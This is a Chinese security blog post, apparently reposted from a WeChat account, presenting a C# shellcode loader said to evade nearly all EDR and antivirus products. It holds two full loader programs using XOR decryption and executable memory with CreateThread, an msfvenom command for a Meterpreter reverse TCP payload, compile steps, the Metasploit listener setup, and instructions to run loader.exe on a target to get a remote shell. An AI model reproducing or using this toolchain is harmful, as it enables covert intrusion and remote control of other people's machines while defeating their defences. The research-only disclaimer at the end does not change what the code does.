一种几乎绕过所有EDR的shellcode加载器

admin 2024年10月30日15:05:53评论30 views字数 4708阅读15分41秒阅读模式

一种几乎绕过所有EDR的shellcode加载器

摘要

一种几乎绕过所有EDR的shellcode加载器

该程序代码使用C#编写,使用特定的Windows API函数组合绕过EDR和防病毒软件, 能够将Payload安全注入到内存而不会被检测到,从而通过反向Shell建立远程连接。代码基于Windows11 Pro系统测试, 通过Visual Studio进行编译, 在Kali Linux中实现反向shell监听。

一种几乎绕过所有EDR的shellcode加载器

shellcode加解密实现

一种几乎绕过所有EDR的shellcode加载器

以下代码实现了通过解密并执行内存中shellcode的方式来规避传统的安全检测机制, 如杀毒软件或EDR系统,代码如下:

using System;
using System.Runtime.InteropServices;

class Program
{
    [DllImport("kernel32.dll")]
    public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

    [DllImport("kernel32.dll")]
    public static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect);

    [DllImport("kernel32.dll")]
    public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

    [DllImport("kernel32.dll")]
    public static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);

    public static void Main(string[] args)
    {
        // Encrypted shellcode (encrypted using XOR as an example)

        byte[] encryptedShellcode = new byte[510] { /* ... Encrypted shellcode data ... */  };

        byte[] buf = DecryptShellcode(encryptedShellcode);

        IntPtr addr = VirtualAlloc(IntPtr.Zero, (uint)buf.Length, 0x1000 /* MEM_COMMIT */, 0x04 /* PAGE_READWRITE */);

        Marshal.Copy(buf, 0, addr, buf.Length);

        uint oldProtect;
        VirtualProtect(addr, (uint)buf.Length, 0x20 /* PAGE_EXECUTE */, out oldProtect);

        IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
        WaitForSingleObject(hThread, 0xFFFFFFFF);
    }

    static byte[] DecryptShellcode(byte[] encryptedShellcode)
    {
        byte key = 0xAA; 
        byte[] decryptedShellcode = new byte[encryptedShellcode.Length];
        for (int i = 0; i < encryptedShellcode.Length; i++)
        {
            decryptedShellcode[i] = (byte)(encryptedShellcode[i] ^ key);
        }
        return decryptedShellcode;
    }
}

该代码使用了以下四个Windows API函数的组合:

VirtualAlloc:在进程的虚拟内存中分配一块可读写的内存区域。

VirtualProtect:更改内存区域的保护属性,使其变为可执行。

CreateThread:在进程中创建一个新线程,用于执行解密后的 shellcode。

WaitForSingleObject:等待线程执行完成。

解密shellcode动作:

使用简单的 XOR 算法对加密的 shellcode 进行解密。加密数据在 encryptedShellcode 数组中,密钥为 0xAA

DecryptShellcode 方法通过循环遍历 encryptedShellcode 数组的每个字节,将其与密钥 0xAA 进行 XOR 操作,生成解密后的 shellcode。

内存分配与权限设置动作:

使用 VirtualAlloc 分配一块内存,初始设置为可读写。

使用 Marshal.Copy 将解密后的 shellcode 写入分配的内存。

调用 VirtualProtect 将内存保护设置为可执行 (PAGE_EXECUTE)。

执行ShellCode动作:

使用 CreateThread 创建一个新线程,并将起始地址设置为 shellcode 的内存地址。

WaitForSingleObject 阻塞主线程,直到新线程执行完成。

一种几乎绕过所有EDR的shellcode加载器

shellcode内存写入实现

一种几乎绕过所有EDR的shellcode加载器

以下代码通过直接将 shellcode 写入内存并以线程方式执行,绕过了常规的可执行文件检测,达到执行自定义 shellcode 的目的,代码如下:

using System;
using System.Runtime.InteropServices;

class Program
{
    [DllImport("kernel32.dll")]
    public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

    [DllImport("kernel32.dll")]
    public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

    [DllImport("kernel32.dll")]
    public static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);

    public static void Main(string[] args)
    {
       byte[] buf = new byte[510] { /* ... Shellcode ... */ };

        IntPtr addr = VirtualAlloc(IntPtr.Zero, (uint)buf.Length, 0x1000, 0x40);
        Marshal.Copy(buf, 0, addr, buf.Length);
        IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
        WaitForSingleObject(hThread, 0xFFFFFFFF);
    }
}

在上面的代码中, 核心动作如下:

内存分配和shellcode写入:

byte[] buf:定义了包含 shellcode 的字节数组 buf,这是要注入和执行的代码。

VirtualAlloc 被调用来分配一块内存区域,其大小与 buf 相同,标志参数 0x1000 表示内存将被提交,0x40 设置内存区域为可读、可写、可执行 (PAGE_EXECUTE_READWRITE)。

Marshal.Copy:将 buf 中的 shellcode 复制到 VirtualAlloc 分配的内存中。

线程创建与执行

  • CreateThread:创建一个新线程,指定线程入口地址为 addr(即 shellcode 的内存地址),新线程将从 buf 中的 shellcode 开始执行。
  • WaitForSingleObject:设置线程等待时间为 0xFFFFFFFF,即无限等待,这样主线程会暂停,直到新线程执行完成。

一种几乎绕过所有EDR的shellcode加载器

Shellcode生成

一种几乎绕过所有EDR的shellcode加载器

Shellcode生成这里主要使用Metasploit的msfvenom工具实现,完整命令如下:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<替换成自己IP> LPORT=<替换成自己的端口> -f csharp

命令参数含义如下:

  • -p windows/x64/meterpreter/reverse_tcp:指定生成的 payload 类型。在这里,使用的是 Meterpreter 反向 TCP 连接的 payload,它适用于 64 位 Windows 系统。Meterpreter 是 Metasploit 的一个高级 payload,提供远程访问功能。
  • reverse_tcp 表示使用反向连接,目标机器将向攻击者的机器发起连接请求。
  • LHOST=<YOUR_IP>:指定攻击者的 IP 地址(需要替换成实际 IP 地址),目标机器会连接到这个 IP。
  • LPORT=<YOUR_PORT>:指定攻击者的监听端口,目标机器会连接到这个端口(需要替换成实际端口)。
  • -f csharp:指定输出格式为 C# 代码。生成的 payload 将以 C# 字符串形式输出,便于集成到 C# 代码中。

Shellcode生成完成后, 将上面代码中的byte[] buf内容替换成shellcode, 这样可以让编译后的程序完成对shellcode的加载执行。

一种几乎绕过所有EDR的shellcode加载器

加载器编译

一种几乎绕过所有EDR的shellcode加载器

代码使用C#编写, 需要使用Visual Studio打开项目, 或使用.NET SDK编译代码, 命令如下:

csc loader.cs

编译完成后,将生成一个名为: loader.exe的可执行程序。

在Kali Linux 上,启动一个监听器来捕获反向Shell, 在Metasploit中使用以下命令:

msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST <YOUR_IP>
set LPORT <YOUR_PORT>
run

将loader.exe上传到目标机器执行, 在Kali Linux中通过以下命令进行shell交互:

meterpreter > sysinfo
meterpreter > shell

以下是效果图:

一种几乎绕过所有EDR的shellcode加载器

一种几乎绕过所有EDR的shellcode加载器

原文始发于微信公众号(二进制空间安全):一种几乎绕过所有EDR的shellcode加载器

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月30日15:05:53
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   一种几乎绕过所有EDR的shellcode加载器https://cn-sec.com/archives/3334020.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息